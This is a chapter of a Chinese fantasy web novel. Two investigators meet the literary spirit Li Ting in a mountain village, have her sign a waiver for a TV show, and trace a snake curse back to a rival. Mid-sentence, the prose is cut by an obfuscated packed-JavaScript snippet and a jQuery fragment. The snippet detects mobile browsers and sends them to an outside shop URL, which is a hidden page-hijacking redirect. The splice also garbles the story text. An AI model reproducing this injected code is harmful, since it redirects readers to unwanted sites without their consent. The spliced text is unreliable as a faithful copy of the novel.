289. 休息之邕州奇谈二
作品:《异界见闻录》 大岳村位于潇、湘二水交汇之处,地势三面环山、地貌复杂多样的邕州。
这里历史悠久,不远处便是传说中葬了五帝之一的九异山。邕州在这三岭间夹着的一共有三个村子,田村,马户子村,还有大岳村。
大岳村周围则有三个岭。
古祭岭、石俑岭、鬼母岭。
古祭岭:传说为上古先民祭祀天地、沟通神灵之所,岭上至今残留着巨大而粗糙的石坛、石柱遗迹,风雨侵蚀下刻痕已经模糊;
石俑岭:最为直观可怖。漫山遍野散落着不知何年何月、何人所凿的形态诡异的石俑石像。这些石像大小不一,或立或卧,或狰狞怒目,或悲悯垂首,或喜笑颜开,或呜呜哭泣,岭内有一碧水潭,名曰饮蛇潭,据传是虫蛇喝水用的,人若饮下,不出七日便会暴毙;
鬼母岭:以遒劲老树藤蔓居多,此岭终年被一种灰黑色的瘴气笼罩,即便烈日当空,岭内也光线晦暗,阴冷刺骨,路也难走,极少人来,据传曾是里面深处埋葬着某位身份尊崇却充满怨戾的“帝母”,也不知为何葬在了此处。
但大岳村偏偏就离鬼母岭最近,它就在鬼母岭脚下。
金胜男和萧放到大岳村时天已全黑,离亭在村口等了又等才看到车大灯的光,她连忙挥手,等走近时有些惊讶,因那二人车上黏着很多血块。
下来的二人脸色都不大好,金胜男虎着脸撑伞干脆利落地问:“车停哪?”
“就扔村口吧,里头放不下车。你们这车是……?”
“路上碰了些事情,进去再说。”
离亭点点头,带三人来了自己的院子,如今家家户户生活都好了,离亭在这边有个小别墅,当然,其实就是农村自建房,是头两年张文赚钱了之后找人给她盖的。
金胜男不动声色地扬扬下巴,让萧放看那鬼母岭。
萧放知道这处,但他也是第一次来。对她摇了摇头,那意思是就是些阴气,年老又无人烟的地方,有些怪东西很正常,更何况,最怪的就是前面带路的那位。
离亭其实有些贪图享受,因此里面什么电视空调饮水机制冰机各类家电都很齐全,而且都是进口货,用的比金胜男家还好。
三人去了二层,两人坐在离亭家柔软的进口沙发上,离亭给他们一人倒了一杯水,“先歇歇脚。”
金胜男没碰那杯水,她在评估自己和对方的实力,但感觉自己还是略胜一筹才开口道:“离亭,我上学时背过关于你的课文,你……这修为……是不是……?那篇《古亭记》,但你……这修为……是不是……有点太稳了?”
离亭正给自己也倒了杯水,闻言动作丝毫未顿,反而坦然地迎上金胜男审视的目光,点了点头,语气带着一种近乎理直气壮的坦然:“对啊,我没怎么修炼。”她端着水杯,姿态放松地倚在沙发扶手上,“三劫过了之后,我大小劫都是靠庇护这个村子和偶尔路过的旅人,积攒功德,硬生生躲过来的。”
提起这事她理直气壮,她就是好妖精,不然赵元青怎么会管她?甚至燕老板还给她送来了满崽。
“如今妖都躲去了……你这边应该是神梦山吧?”萧放从背包里取出册子查看。
“是。比我年纪大的、法力深厚的,基本都去了神梦山深处,那里更安全,灵气也更……纯粹些。比我年纪小的,好多……也被抓去了那边,守不住,没善恶观。”
金胜男搞不懂这些妖怪的分类,问萧放:“啥文妖?”
“文人经常托物寄情,执念深重,日积月累。或是痴迷诗书的书生魂魄附于古籍,或是名匠呕心沥血雕琢的器物得了灵性,更有甚者,是某篇传世文章蕴含的千古情思汇聚了天地灵气……久而久之,物非物,念非念,便成了文妖。你不去总部?”萧放晃晃手里的册子。
“不去,不爱去。”
“她这种,算是活着的化石,有些史学家很乐于请教她。整个云梦省除了避世的妖,她算是……第一,也是少数被允许能在外面行走的妖。”
“有武妖吗?”金胜男那边瞅不着这么稀罕的妖怪,不得不敬畏地上下打量离亭。
“没有。”萧放没好气白她一眼。
“活着的化石也太难听了!”离亭抗议,“不过我最近跟满崽搬去了北方,唉,北方,不习惯咯,干的厉害。”
“说说正事吧。”萧放叹了口气,开门见山道:“离亭前辈,路上我们碰上了点东西,一条三米多的蝮蛇,炸了一肚子黑雾出来,这东西,跟你说的水患有关联吗?”
离亭端着水杯的手顿了顿,“蛇?什么样子的?”
“我路上查过了,一种短吻蝮蛇。请先给我看看您的证件吧。”萧放伸出手。
离亭早就准备好了,抬手勾过放到他手上。
二人检查无误后还给她,金胜男感慨,“好粗的大柳树,上面那些是什么?”
“我还没修成人身时,一些诗人刻的。从前更多,不过……有些诗词粗鄙,匠气的很的,被我抹掉了。”
萧放又拿出准备好的单子,“离亭前辈,请在此处签字。这是我们的免责条约,以及甲乙双方的义务和注意事项。签署后代表您认可真人出镜。
离亭结果后快速扫视,“……乙方承诺所提供信息真实有效,若因信息失实导致节目组人员伤亡或设备损失,由乙方承担主要责任……解释权最终归《相信科学》栏目组总部所有?”
她看得目瞪口呆,半晌才憋出一句:“……你们这……这不是睁眼说瞎话吗?”文妖最重一个“真”字,诗词文章,贵在情真意切,这种指鹿为马、强行科学的操作……真是……
“离亭前辈,签了字,我们才能正式开始调查,动用一些非常规的手段。总部需要这份文件备案,证明我们是在处理特殊民俗现象,而非宣扬迷信。这也是保护您的一种方式,将您的存在纳入可解释的范畴。”
离亭心中也有准备,“行吧行吧……”她认命般地从茶几抽屉里摸出一支笔,在乙方签名处龙飞凤舞地签下了自己的名字,字迹秀美飘逸,宛若书法大家。
萧放和金胜男都看见了那字,心中对离亭的敬意不禁上了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392410|191876||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
层,老艺术家,享受享受怎么了?
合理!
“签了。”
萧放仔细收好签好的文件放入一个特制的防水袋中后再次看向离亭,眼神变得无比严肃:“离亭前辈,我们在路上遇到的,并非普通短吻蝮,而是一种秽煞被封在蛇身内供养而成,它畏天雷,惧阳火,是至阴至邪之物。有的地方叫它蛇蛊,但有的地方也叫它蛇煞。”
“所以,你要想想,你最近有没有得罪过人。”他把重音放到了那个“人”字上。
“……”离亭严重猝然升起怒火,“稍等,我打个电话!”
她穿着拖鞋啪嗒啪嗒走出屋子,二人只能听见她的怒吼,“赵元青?是不是燕老板害我咯?!”
云梦省的雨还在下,一辆越野车驶离机场,是燕椿和拿着赵元青的手机,听到离亭的话后离远些答道:“是,但你又能如何呢?”
电话那头迅速挂断,他也把手机放到一旁。
赵元青开车的侧脸看起来很惆怅,“我真的搞不懂,为什么离亭的文章书法无一不精,但性格这样差。”
燕椿和撑着脸颊看外面的景色,雨幕在车窗上拉成细长的银线。
他声音柔和低哑:“因是果,果也是因。她的身上集合了一大群不如意的文人对功名的执念,对官的畏惧,对文章的痴狂,对世道不公的愤懑,还有求而不得、郁结于胸的千古惆怅。很有趣啊,她选择成为女子,文人们把梦想投射到一个女子身上。文气化妖,可性多情少。”
张文在后面憨笑,“老板,我干妈人不坏的,她也有对农人和女子孩童们的怜悯。”
他平日里住在京市,因毕竟是他家,又是他干娘,因此也赶过来了。
“你父母现在在哪边啊?”赵元青和他闲聊。
“在省会呢,和我哥住在一起。”提到父母时,张文脸上的憨笑消失了,他垂下眼睛。
“我记得……你当时住田村吧?”
“是,”他的声音里带着一丝惆怅,“那边村民多一些,路也好走些。”
他许久未回来了。
当年……当年他被老板从田村救了,才有了干娘离亭。他的蒙学是离亭教的,自然写的一手好字,但为人处世之道,却是向老板学的。
小时候懵懂无知,他还曾在心里偷偷幻想过老板和干娘能成为一对,这样他就有一个完整的家了。
后来……老板找他谈了一次,彻底打消了他这个念头。老板只把他当作牛马看待。
……其实当牛马不也不赖,一般牛马没他这个工资和待遇。
“看不到他们就行,”赵元青松了口气,“在飞机上我还想着这事,要是碰上了怪尴尬的。”她实在不想见到张文的父母。当年他们把张文从林子捡回来后治好了病,田村就那么大,邻居告诉了张文父母,他父母转头就来要人,还报了警,指控他们拐.卖儿童。
她又不是不给,谁要带孩子啊……
但他父母却在警察走了之后说要把孩子卖给茂茂。
真是……尴尬的要命。

